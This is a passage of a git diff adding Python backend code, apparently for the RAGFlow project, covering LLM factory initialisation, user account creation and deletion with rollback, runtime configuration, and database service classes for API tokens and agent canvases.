+ {"role": "user", "content": "Hello!"}], gen_conf={})
+ if msg.find("ERROR: ") == 0:
+ logging.error(
+ "'{}' doesn't work. {}".format(
+ tenant["llm_id"],
+ msg))
+ embd_mdl = LLMBundle(tenant["id"], LLMType.EMBEDDING, tenant["embd_id"])
+ v, c = embd_mdl.encode(["Hello!"])
+ if c == 0:
+ logging.error(
+ "'{}' doesn't work!".format(
+ tenant["embd_id"]))
+
+
+def init_llm_factory():
+ try:
+ LLMService.filter_delete([(LLM.fid == "MiniMax" or LLM.fid == "Minimax")])
+ LLMService.filter_delete([(LLM.fid == "cohere")])
+ LLMFactoriesService.filter_delete([LLMFactories.name == "cohere"])
+ except Exception:
+ pass
+
+ factory_llm_infos = settings.FACTORY_LLM_INFOS
+ for factory_llm_info in factory_llm_infos:
+ info = deepcopy(factory_llm_info)
+ llm_infos = info.pop("llm")
+ try:
+ LLMFactoriesService.save(**info)
+ except Exception:
+ pass
+ LLMService.filter_delete([LLM.fid == factory_llm_info["name"]])
+ for llm_info in llm_infos:
+ llm_info["fid"] = factory_llm_info["name"]
+ try:
+ LLMService.save(**llm_info)
+ except Exception:
+ pass
+
+ LLMFactoriesService.filter_delete([(LLMFactories.name == "Local") | (LLMFactories.name == "novita.ai")])
+ LLMService.filter_delete([LLM.fid == "Local"])
+ LLMService.filter_delete([LLM.llm_name == "qwen-vl-max"])
+ LLMService.filter_delete([LLM.fid == "Moonshot", LLM.llm_name == "flag-embedding"])
+ TenantLLMService.filter_delete([TenantLLM.llm_factory == "Moonshot", TenantLLM.llm_name == "flag-embedding"])
+ LLMFactoriesService.filter_delete([LLMFactoriesService.model.name == "QAnything"])
+ LLMService.filter_delete([LLMService.model.fid == "QAnything"])
+ TenantLLMService.filter_update([TenantLLMService.model.llm_factory == "QAnything"], {"llm_factory": "Youdao"})
+ TenantLLMService.filter_update([TenantLLMService.model.llm_factory == "cohere"], {"llm_factory": "Cohere"})
+ TenantService.filter_update([1 == 1], {
+ "parser_ids": "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,email:Email,tag:Tag"})
+ ## insert openai two embedding models to the current openai user.
+ # print("Start to insert 2 OpenAI embedding models...")
+ tenant_ids = set([row["tenant_id"] for row in TenantLLMService.get_openai_models()])
+ for tid in tenant_ids:
+ for row in TenantLLMService.query(llm_factory="OpenAI", tenant_id=tid):
+ row = row.to_dict()
+ row["model_type"] = LLMType.EMBEDDING.value
+ row["llm_name"] = "text-embedding-3-small"
+ row["used_tokens"] = 0
+ try:
+ TenantLLMService.save(**row)
+ row = deepcopy(row)
+ row["llm_name"] = "text-embedding-3-large"
+ TenantLLMService.save(**row)
+ except Exception:
+ pass
+ break
+ doc_count = DocumentService.get_all_kb_doc_count()
+ for kb_id in KnowledgebaseService.get_all_ids():
+ KnowledgebaseService.update_document_number_in_init(kb_id=kb_id, doc_num=doc_count.get(kb_id, 0))
+
+
+
+def add_graph_templates():
+ dir = os.path.join(get_project_base_directory(), "agent", "templates")
+ CanvasTemplateService.filter_delete([1 == 1])
+ if not os.path.exists(dir):
+ logging.warning("Missing agent templates!")
+ return
+
+ for fnm in os.listdir(dir):
+ try:
+ cnvs = json.load(open(os.path.join(dir, fnm), "r",encoding="utf-8"))
+ try:
+ CanvasTemplateService.save(**cnvs)
+ except Exception:
+ CanvasTemplateService.update_by_id(cnvs["id"], cnvs)
+ except Exception:
+ logging.exception("Add agent templates error: ")
+
+
+def init_web_data():
+ start_time = time.time()
+
+ init_llm_factory()
+ # if not UserService.get_all().count():
+ # init_superuser()
+
+ add_graph_templates()
+ logging.info("init web data success:{}".format(time.time() - start_time))
+
+
+if __name__ == '__main__':
+ init_web_db()
+ init_web_data()
diff --git a/api/db/joint_services/__init__.py b/api/db/joint_services/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/api/db/joint_services/user_account_service.py b/api/db/joint_services/user_account_service.py
new file mode 100644
index 0000000..61f23cc
--- /dev/null
+++ b/api/db/joint_services/user_account_service.py
@@ -0,0 +1,327 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import uuid
+
+from api import settings
+from api.utils.api_utils import group_by
+from api.db import FileType, UserTenantRole, ActiveEnum
+from api.db.services.api_service import APITokenService, API4ConversationService
+from api.db.services.canvas_service import UserCanvasService
+from api.db.services.conversation_service import ConversationService
+from api.db.services.dialog_service import DialogService
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.langfuse_service import TenantLangfuseService
+from api.db.services.llm_service import get_init_tenant_llm
+from api.db.services.file_service import FileService
+from api.db.services.mcp_server_service import MCPServerService
+from api.db.services.search_service import SearchService
+from api.db.services.task_service import TaskService
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.user_canvas_version import UserCanvasVersionService
+from api.db.services.user_service import TenantService, UserService, UserTenantService
+from rag.utils.storage_factory import STORAGE_IMPL
+from rag.nlp import search
+
+
+def create_new_user(user_info: dict) -> dict:
+ """
+ Add a new user, and create tenant, tenant llm, file folder for new user.
+ :param user_info: {
+ "email": ,
+ "nickname": ,
+ "password": ,
+ "login_channel": ,
+ "is_superuser": ,
+ }
+ :return: {
+ "success": ,
+ "user_info": , # if true, return user_info
+ }
+ """
+ # generate user_id and access_token for user
+ user_id = uuid.uuid1().hex
+ user_info['id'] = user_id
+ user_info['access_token'] = uuid.uuid1().hex
+ # construct tenant info
+ tenant = {
+ "id": user_id,
+ "name": user_info["nickname"] + "‘s Kingdom",
+ "llm_id": settings.CHAT_MDL,
+ "embd_id": settings.EMBEDDING_MDL,
+ "asr_id": settings.ASR_MDL,
+ "parser_ids": settings.PARSERS,
+ "img2txt_id": settings.IMAGE2TEXT_MDL,
+ "rerank_id": settings.RERANK_MDL,
+ }
+ usr_tenant = {
+ "tenant_id": user_id,
+ "user_id": user_id,
+ "invited_by": user_id,
+ "role": UserTenantRole.OWNER,
+ }
+ # construct file folder info
+ file_id = uuid.uuid1().hex
+ file = {
+ "id": file_id,
+ "parent_id": file_id,
+ "tenant_id": user_id,
+ "created_by": user_id,
+ "name": "/",
+ "type": FileType.FOLDER.value,
+ "size": 0,
+ "location": "",
+ }
+ try:
+ tenant_llm = get_init_tenant_llm(user_id)
+
+ if not UserService.save(**user_info):
+ return {"success": False}
+
+ TenantService.insert(**tenant)
+ UserTenantService.insert(**usr_tenant)
+ TenantLLMService.insert_many(tenant_llm)
+ FileService.insert(file)
+
+ return {
+ "success": True,
+ "user_info": user_info,
+ }
+
+ except Exception as create_error:
+ logging.exception(create_error)
+ # rollback
+ try:
+ TenantService.delete_by_id(user_id)
+ except Exception as e:
+ logging.exception(e)
+ try:
+ u = UserTenantService.query(tenant_id=user_id)
+ if u:
+ UserTenantService.delete_by_id(u[0].id)
+ except Exception as e:
+ logging.exception(e)
+ try:
+ TenantLLMService.delete_by_tenant_id(user_id)
+ except Exception as e:
+ logging.exception(e)
+ try:
+ FileService.delete_by_id(file["id"])
+ except Exception as e:
+ logging.exception(e)
+ # delete user row finally
+ try:
+ UserService.delete_by_id(user_id)
+ except Exception as e:
+ logging.exception(e)
+ # reraise
+ raise create_error
+
+
+def delete_user_data(user_id: str) -> dict:
+ # use user_id to delete
+ usr = UserService.filter_by_id(user_id)
+ if not usr:
+ return {"success": False, "message": f"{user_id} can't be found."}
+ # check is inactive and not admin
+ if usr.is_active == ActiveEnum.ACTIVE.value:
+ return {"success": False, "message": f"{user_id} is active and can't be deleted."}
+ if usr.is_superuser:
+ return {"success": False, "message": "Can't delete the super user."}
+ # tenant info
+ tenants = UserTenantService.get_user_tenant_relation_by_user_id(usr.id)
+ owned_tenant = [t for t in tenants if t["role"] == UserTenantRole.OWNER.value]
+
+ done_msg = ''
+ try:
+ # step1. delete owned tenant info
+ if owned_tenant:
+ done_msg += "Start to delete owned tenant.\n"
+ tenant_id = owned_tenant[0]["tenant_id"]
+ kb_ids = KnowledgebaseService.get_kb_ids(usr.id)
+ # step1.1 delete knowledgebase related file and info
+ if kb_ids:
+ # step1.1.1 delete files in storage, remove bucket
+ for kb_id in kb_ids:
+ if STORAGE_IMPL.bucket_exists(kb_id):
+ STORAGE_IMPL.remove_bucket(kb_id)
+ done_msg += f"- Removed {len(kb_ids)} dataset's buckets.\n"
+ # step1.1.2 delete file and document info in db
+ doc_ids = DocumentService.get_all_doc_ids_by_kb_ids(kb_ids)
+ if doc_ids:
+ doc_delete_res = DocumentService.delete_by_ids([i["id"] for i in doc_ids])
+ done_msg += f"- Deleted {doc_delete_res} document records.\n"
+ task_delete_res = TaskService.delete_by_doc_ids([i["id"] for i in doc_ids])
+ done_msg += f"- Deleted {task_delete_res} task records.\n"
+ file_ids = FileService.get_all_file_ids_by_tenant_id(usr.id)
+ if file_ids:
+ file_delete_res = FileService.delete_by_ids([f["id"] for f in file_ids])
+ done_msg += f"- Deleted {file_delete_res} file records.\n"
+ if doc_ids or file_ids:
+ file2doc_delete_res = File2DocumentService.delete_by_document_ids_or_file_ids(
+ [i["id"] for i in doc_ids],
+ [f["id"] for f in file_ids]
+ )
+ done_msg += f"- Deleted {file2doc_delete_res} document-file relation records.\n"
+ # step1.1.3 delete chunk in es
+ r = settings.docStoreConn.delete({"kb_id": kb_ids},
+ search.index_name(tenant_id), kb_ids)
+ done_msg += f"- Deleted {r} chunk records.\n"
+ kb_delete_res = KnowledgebaseService.delete_by_ids(kb_ids)
+ done_msg += f"- Deleted {kb_delete_res} knowledgebase records.\n"
+ # step1.1.4 delete agents
+ agent_delete_res = delete_user_agents(usr.id)
+ done_msg += f"- Deleted {agent_delete_res['agents_deleted_count']} agent, {agent_delete_res['version_deleted_count']} versions records.\n"
+ # step1.1.5 delete dialogs
+ dialog_delete_res = delete_user_dialogs(usr.id)
+ done_msg += f"- Deleted {dialog_delete_res['dialogs_deleted_count']} dialogs, {dialog_delete_res['conversations_deleted_count']} conversations, {dialog_delete_res['api_token_deleted_count']} api tokens, {dialog_delete_res['api4conversation_deleted_count']} api4conversations.\n"
+ # step1.1.6 delete mcp server
+ mcp_delete_res = MCPServerService.delete_by_tenant_id(usr.id)
+ done_msg += f"- Deleted {mcp_delete_res} MCP server.\n"
+ # step1.1.7 delete search
+ search_delete_res = SearchService.delete_by_tenant_id(usr.id)
+ done_msg += f"- Deleted {search_delete_res} search records.\n"
+ # step1.2 delete tenant_llm and tenant_langfuse
+ llm_delete_res = TenantLLMService.delete_by_tenant_id(tenant_id)
+ done_msg += f"- Deleted {llm_delete_res} tenant-LLM records.\n"
+ langfuse_delete_res = TenantLangfuseService.delete_ty_tenant_id(tenant_id)
+ done_msg += f"- Deleted {langfuse_delete_res} langfuse records.\n"
+ # step1.3 delete own tenant
+ tenant_delete_res = TenantService.delete_by_id(tenant_id)
+ done_msg += f"- Deleted {tenant_delete_res} tenant.\n"
+ # step2 delete user-tenant relation
+ if tenants:
+ # step2.1 delete docs and files in joined team
+ joined_tenants = [t for t in tenants if t["role"] == UserTenantRole.NORMAL.value]
+ if joined_tenants:
+ done_msg += "Start to delete data in joined tenants.\n"
+ created_documents = DocumentService.get_all_docs_by_creator_id(usr.id)
+ if created_documents:
+ # step2.1.1 delete files
+ doc_file_info = File2DocumentService.get_by_document_ids([d['id'] for d in created_documents])
+ created_files = FileService.get_by_ids([f['file_id'] for f in doc_file_info])
+ if created_files:
+ # step2.1.1.1 delete file in storage
+ for f in created_files:
+ STORAGE_IMPL.rm(f.parent_id, f.location)
+ done_msg += f"- Deleted {len(created_files)} uploaded file.\n"
+ # step2.1.1.2 delete file record
+ file_delete_res = FileService.delete_by_ids([f.id for f in created_files])
+ done_msg += f"- Deleted {file_delete_res} file records.\n"
+ # step2.1.2 delete document-file relation record
+ file2doc_delete_res = File2DocumentService.delete_by_document_ids_or_file_ids(
+ [d['id'] for d in created_documents],
+ [f.id for f in created_files]
+ )
+ done_msg += f"- Deleted {file2doc_delete_res} document-file relation records.\n"
+ # step2.1.3 delete chunks
+ doc_groups = group_by(created_documents, "tenant_id")
+ kb_grouped_doc = {k: group_by(v, "kb_id") for k, v in doc_groups.items()}
+ # chunks in {'tenant_id': {'kb_id': [{'id': doc_id}]}} structure
+ chunk_delete_res = 0
+ kb_doc_info = {}
+ for _tenant_id, kb_doc in kb_grouped_doc.items():
+ for _kb_id, docs in kb_doc.items():
+ chunk_delete_res += settings.docStoreConn.delete(
+ {"doc_id": [d["id"] for d in docs]},
+ search.index_name(_tenant_id), _kb_id
+ )
+ # record doc info
+ if _kb_id in kb_doc_info.keys():
+ kb_doc_info[_kb_id]['doc_num'] += 1
+ kb_doc_info[_kb_id]['token_num'] += sum([d["token_num"] for d in docs])
+ kb_doc_info[_kb_id]['chunk_num'] += sum([d["chunk_num"] for d in docs])
+ else:
+ kb_doc_info[_kb_id] = {
+ 'doc_num': 1,
+ 'token_num': sum([d["token_num"] for d in docs]),
+ 'chunk_num': sum([d["chunk_num"] for d in docs])
+ }
+ done_msg += f"- Deleted {chunk_delete_res} chunks.\n"
+ # step2.1.4 delete tasks
+ task_delete_res = TaskService.delete_by_doc_ids([d['id'] for d in created_documents])
+ done_msg += f"- Deleted {task_delete_res} tasks.\n"
+ # step2.1.5 delete document record
+ doc_delete_res = DocumentService.delete_by_ids([d['id'] for d in created_documents])
+ done_msg += f"- Deleted {doc_delete_res} documents.\n"
+ # step2.1.6 update knowledge base doc&chunk&token cnt
+ for kb_id, doc_num in kb_doc_info.items():
+ KnowledgebaseService.decrease_document_num_in_delete(kb_id, doc_num)
+
+ # step2.2 delete relation
+ user_tenant_delete_res = UserTenantService.delete_by_ids([t["id"] for t in tenants])
+ done_msg += f"- Deleted {user_tenant_delete_res} user-tenant records.\n"
+ # step3 finally delete user
+ user_delete_res = UserService.delete_by_id(usr.id)
+ done_msg += f"- Deleted {user_delete_res} user.\nDelete done!"
+
+ return {"success": True, "message": f"Successfully deleted user. Details:\n{done_msg}"}
+
+ except Exception as e:
+ logging.exception(e)
+ return {"success": False, "message": f"Error: {str(e)}. Already done:\n{done_msg}"}
+
+
+def delete_user_agents(user_id: str) -> dict:
+ """
+ use user_id to delete
+ :return: {
+ "agents_deleted_count": 1,
+ "version_deleted_count": 2
+ }
+ """
+ agents_deleted_count, agents_version_deleted_count = 0, 0
+ user_agents = UserCanvasService.get_all_agents_by_tenant_ids([user_id], user_id)
+ if user_agents:
+ agents_version = UserCanvasVersionService.get_all_canvas_version_by_canvas_ids([a['id'] for a in user_agents])
+ agents_version_deleted_count = UserCanvasVersionService.delete_by_ids([v['id'] for v in agents_version])
+ agents_deleted_count = UserCanvasService.delete_by_ids([a['id'] for a in user_agents])
+ return {
+ "agents_deleted_count": agents_deleted_count,
+ "version_deleted_count": agents_version_deleted_count
+ }
+
+
+def delete_user_dialogs(user_id: str) -> dict:
+ """
+ use user_id to delete
+ :return: {
+ "dialogs_deleted_count": 1,
+ "conversations_deleted_count": 1,
+ "api_token_deleted_count": 2,
+ "api4conversation_deleted_count": 2
+ }
+ """
+ dialog_deleted_count, conversations_deleted_count, api_token_deleted_count, api4conversation_deleted_count = 0, 0, 0, 0
+ user_dialogs = DialogService.get_all_dialogs_by_tenant_id(user_id)
+ if user_dialogs:
+ # delete conversation
+ conversations = ConversationService.get_all_conversation_by_dialog_ids([ud['id'] for ud in user_dialogs])
+ conversations_deleted_count = ConversationService.delete_by_ids([c['id'] for c in conversations])
+ # delete api token
+ api_token_deleted_count = APITokenService.delete_by_tenant_id(user_id)
+ # delete api for conversation
+ api4conversation_deleted_count = API4ConversationService.delete_by_dialog_ids([ud['id'] for ud in user_dialogs])
+ # delete dialog at last
+ dialog_deleted_count = DialogService.delete_by_ids([ud['id'] for ud in user_dialogs])
+ return {
+ "dialogs_deleted_count": dialog_deleted_count,
+ "conversations_deleted_count": conversations_deleted_count,
+ "api_token_deleted_count": api_token_deleted_count,
+ "api4conversation_deleted_count": api4conversation_deleted_count
+ }
diff --git a/api/db/reload_config_base.py b/api/db/reload_config_base.py
new file mode 100644
index 0000000..be37afc
--- /dev/null
+++ b/api/db/reload_config_base.py
@@ -0,0 +1,28 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class ReloadConfigBase:
+ @classmethod
+ def get_all(cls):
+ configs = {}
+ for k, v in cls.__dict__.items():
+ if not callable(getattr(cls, k)) and not k.startswith(
+ "__") and not k.startswith("_"):
+ configs[k] = v
+ return configs
+
+ @classmethod
+ def get(cls, config_name):
+ return getattr(cls, config_name) if hasattr(cls, config_name) else None
diff --git a/api/db/runtime_config.py b/api/db/runtime_config.py
new file mode 100644
index 0000000..e3e0fb7
--- /dev/null
+++ b/api/db/runtime_config.py
@@ -0,0 +1,54 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from api.versions import get_ragflow_version
+from .reload_config_base import ReloadConfigBase
+
+
+class RuntimeConfig(ReloadConfigBase):
+ DEBUG = None
+ WORK_MODE = None
+ HTTP_PORT = None
+ JOB_SERVER_HOST = None
+ JOB_SERVER_VIP = None
+ ENV = dict()
+ SERVICE_DB = None
+ LOAD_CONFIG_MANAGER = False
+
+ @classmethod
+ def init_config(cls, **kwargs):
+ for k, v in kwargs.items():
+ if hasattr(cls, k):
+ setattr(cls, k, v)
+
+ @classmethod
+ def init_env(cls):
+ cls.ENV.update({"version": get_ragflow_version()})
+
+ @classmethod
+ def load_config_manager(cls):
+ cls.LOAD_CONFIG_MANAGER = True
+
+ @classmethod
+ def get_env(cls, key):
+ return cls.ENV.get(key, None)
+
+ @classmethod
+ def get_all_env(cls):
+ return cls.ENV
+
+ @classmethod
+ def set_service_db(cls, service_db):
+ cls.SERVICE_DB = service_db
diff --git a/api/db/services/__init__.py b/api/db/services/__init__.py
new file mode 100644
index 0000000..ce93791
--- /dev/null
+++ b/api/db/services/__init__.py
@@ -0,0 +1,99 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import re
+from pathlib import PurePath
+
+from .user_service import UserService as UserService
+
+
+def _split_name_counter(filename: str) -> tuple[str, int | None]:
+ """
+ Splits a filename into main part and counter (if present in parentheses).
+
+ Args:
+ filename: Input filename string to be parsed
+
+ Returns:
+ A tuple containing:
+ - The main filename part (string)
+ - The counter from parentheses (integer) or None if no counter exists
+ """
+ pattern = re.compile(r"^(.*?)\((\d+)\)$")
+
+ match = pattern.search(filename)
+ if match:
+ main_part = match.group(1).rstrip()
+ bracket_part = match.group(2)
+ return main_part, int(bracket_part)
+
+ return filename, None
+
+
+def duplicate_name(query_func, **kwargs) -> str:
+ """
+ Generates a unique filename by appending/incrementing a counter when duplicates exist.
+
+ Continuously checks for name availability using the provided query function,
+ automatically appending (1), (2), etc. until finding an available name or
+ reaching maximum retries.
+
+ Args:
+ query_func: Callable that accepts keyword arguments and returns:
+ - True if name exists (should be modified)
+ - False if name is available
+ **kwargs: Must contain 'name' key with original filename to check
+
+ Returns:
+ str: Available filename, either:
+ - Original name (if available)
+ - Modified name with counter (e.g., "file(1).txt")
+
+ Raises:
+ KeyError: If 'name' key not provided in kwargs
+ RuntimeError: If unable to generate unique name after maximum retries
+
+ Example:
+ >>> def name_exists(name): return name in existing_files
+ >>> duplicate_name(name_exists, name="document.pdf")
+ 'document(1).pdf' # If original exists
+ """
+ MAX_RETRIES = 1000
+
+ if "name" not in kwargs:
+ raise KeyError("Arguments must contain 'name' key")
+
+ original_name = kwargs["name"]
+ current_name = original_name
+ retries = 0
+
+ while retries < MAX_RETRIES:
+ if not query_func(**kwargs):
+ return current_name
+
+ path = PurePath(current_name)
+ stem = path.stem
+ suffix = path.suffix
+
+ main_part, counter = _split_name_counter(stem)
+ counter = counter + 1 if counter else 1
+
+ new_name = f"{main_part}({counter}){suffix}"
+
+ kwargs["name"] = new_name
+ current_name = new_name
+ retries += 1
+
+ raise RuntimeError(f"Failed to generate unique name within {MAX_RETRIES} attempts. Original: {original_name}")
diff --git a/api/db/services/api_service.py b/api/db/services/api_service.py
new file mode 100644
index 0000000..9a23547
--- /dev/null
+++ b/api/db/services/api_service.py
@@ -0,0 +1,112 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from datetime import datetime
+
+import peewee
+
+from api.db.db_models import DB, API4Conversation, APIToken, Dialog
+from api.db.services.common_service import CommonService
+from api.utils import current_timestamp, datetime_format
+
+
+class APITokenService(CommonService):
+ model = APIToken
+
+ @classmethod
+ @DB.connection_context()
+ def used(cls, token):
+ return cls.model.update({
+ "update_time": current_timestamp(),
+ "update_date": datetime_format(datetime.now()),
+ }).where(
+ cls.model.token == token
+ )
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_tenant_id(cls, tenant_id):
+ return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute()
+
+
+class API4ConversationService(CommonService):
+ model = API4Conversation
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, dialog_id, tenant_id,
+ page_number, items_per_page,
+ orderby, desc, id, user_id=None, include_dsl=True, keywords="",
+ from_date=None, to_date=None
+ ):
+ if include_dsl:
+ sessions = cls.model.select().where(cls.model.dialog_id == dialog_id)
+ else:
+ fields = [field for field in cls.model._meta.fields.values() if field.name != 'dsl']
+ sessions = cls.model.select(*fields).where(cls.model.dialog_id == dialog_id)
+ if id:
+ sessions = sessions.where(cls.model.id == id)
+ if user_id:
+ sessions = sessions.where(cls.model.user_id == user_id)
+ if keywords:
+ sessions = sessions.where(peewee.fn.LOWER(cls.model.message).contains(keywords.lower()))
+ if from_date:
+ sessions = sessions.where(cls.model.create_date >= from_date)
+ if to_date:
+ sessions = sessions.where(cls.model.create_date <= to_date)
+ if desc:
+ sessions = sessions.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ sessions = sessions.order_by(cls.model.getter_by(orderby).asc())
+ count = sessions.count()
+ sessions = sessions.paginate(page_number, items_per_page)
+
+ return count, list(sessions.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def append_message(cls, id, conversation):
+ cls.update_by_id(id, conversation)
+ return cls.model.update(round=cls.model.round + 1).where(cls.model.id == id).execute()
+
+ @classmethod
+ @DB.connection_context()
+ def stats(cls, tenant_id, from_date, to_date, source=None):
+ if len(to_date) == 10:
+ to_date += " 23:59:59"
+ return cls.model.select(
+ cls.model.create_date.truncate("day").alias("dt"),
+ peewee.fn.COUNT(
+ cls.model.id).alias("pv"),
+ peewee.fn.COUNT(
+ cls.model.user_id.distinct()).alias("uv"),
+ peewee.fn.SUM(
+ cls.model.tokens).alias("tokens"),
+ peewee.fn.SUM(
+ cls.model.duration).alias("duration"),
+ peewee.fn.AVG(
+ cls.model.round).alias("round"),
+ peewee.fn.SUM(
+ cls.model.thumb_up).alias("thumb_up")
+ ).join(Dialog, on=((cls.model.dialog_id == Dialog.id) & (Dialog.tenant_id == tenant_id))).where(
+ cls.model.create_date >= from_date,
+ cls.model.create_date <= to_date,
+ cls.model.source == source
+ ).group_by(cls.model.create_date.truncate("day")).dicts()
+
+ @classmethod
+ @DB.connection_context()
+ def delete_by_dialog_ids(cls, dialog_ids):
+ return cls.model.delete().where(cls.model.dialog_id.in_(dialog_ids)).execute()
diff --git a/api/db/services/canvas_service.py b/api/db/services/canvas_service.py
new file mode 100644
index 0000000..f72c6f9
--- /dev/null
+++ b/api/db/services/canvas_service.py
@@ -0,0 +1,350 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import time
+from uuid import uuid4
+from agent.canvas import Canvas
+from api.db import CanvasCategory, TenantPermission
+from api.db.db_models import DB, CanvasTemplate, User, UserCanvas, API4Conversation
+from api.db.services.api_service import API4ConversationService
+from api.db.services.common_service import CommonService
+from api.utils import get_uuid
+from api.utils.api_utils import get_data_openai
+import tiktoken
+from peewee import fn
+
+
+class CanvasTemplateService(CommonService):
+ model = CanvasTemplate
+
+class DataFlowTemplateService(CommonService):
+ """
+ Alias of CanvasTemplateService
+ """
+ model = CanvasTemplate
+
+
+class UserCanvasService(CommonService):
+ model = UserCanvas
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, tenant_id,
+ page_number, items_per_page, orderby, desc, id, title, canvas_category=CanvasCategory.Agent):
+ agents = cls.model.select()
+ if id:
+ agents = agents.where(cls.model.id == id)
+ if title:
+ agents = agents.where(cls.model.title == title)
+ agents = agents.where(cls.model.user_id == tenant_id)
+ agents = agents.where(cls.model.canvas_category == canvas_category)
+ if desc:
+ agents = agents.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ agents = agents.order_by(cls.model.getter_by(orderby).asc())
+
+ agents = agents.paginate(page_number, items_per_page)
+
+ return list(agents.dicts())
+
+ @classmethod
+ @DB.connection_context()
+ def get_all_agents_by_tenant_ids(cls, tenant_ids, user_id):
+ # will get all permitted agents, be cautious
+ fields = [
+ cls.model.id,
+ cls.model.title,
+ cls.model.permission,
+ cls.model.canvas_type,
+ cls.model.canvas_category
+ ]
+ # find team agents and owned agents
+ agents = cls.model.select(*fields).where(
+ (cls.model.user_id.in_(tenant_ids) & (cls.model.permission == TenantPermission.TEAM.value)) | (
+ cls.model.user_id == user_id
+ )
+ )
+ # sort by create_time, asc
+ agents.order_by(cls.model.create_time.asc())
+ # maybe cause slow query by deep paginate, optimize later
+ offset, limit = 0, 50
+ res = []
+ while True:
+ ag_batch = agents.offset(offset).limit(limit)
+ _temp = list(ag_batch.dicts())
+ if not _temp:
+ break
+ res.extend(_temp)
+ offset += limit
+ return res
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_canvas_id(cls, pid):
+ try:
+
+ fields = [
+ cls.model.id,
+ cls.model.avatar,
+ cls.model.title,
+ cls.model.dsl,
+ cls.model.description,
+ cls.model.permission,
+ cls.model.update_time,
+ cls.model.user_id,
+ cls.model.create_time,
+ cls.model.create_date,
+ cls.model.update_date,
+ cls.model.canvas_category,
+ User.nickname,
+ User.avatar.alias('tenant_avatar'),
+ ]
+ agents = cls.model.select(*fields) \
+ .join(User, on=(cls.model.user_id == User.id)) \
+ .where(cls.model.id == pid)
+ # obj = cls.model.query(id=pid)[0]
+ return True, agents.dicts()[0]
+ except Exception as e:
+ logging.exception(e)
+ return False, None
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_tenant_ids(cls, joined_tenant_ids, user_id,
+ page_number, items_per_page,
+ orderby, desc, keywords, canvas_category=None
+ ):
+ fields = [
+ cls.model.id,
+ cls.model.avatar,
+ cls.model.title,
+ cls.model.dsl,
+ cls.model.description,
+ cls.model.permission,
+ cls.model.user_id.alias("tenant_id"),
+ User.nickname,
+ User.avatar.alias('tenant_avatar'),
+ cls.model.update_time,
+ cls.model.canvas_category,
+ ]
+ if keywords:
+ agents = cls.model.select(*fields).join(User, on=(cls.model.user_id == User.id)).where(
+ cls.model.user_id.in_(joined_tenant_ids),
+ fn.LOWER(cls.model.title).contains(keywords.lower())
+ #(((cls.model.user_id.in_(joined_tenant_ids)) & (cls.model.permission == TenantPermission.TEAM.value)) | (cls.model.user_id == user_id)),
+ #(fn.LOWER(cls.model.title).contains(keywords.lower()))
+ )
+ else:
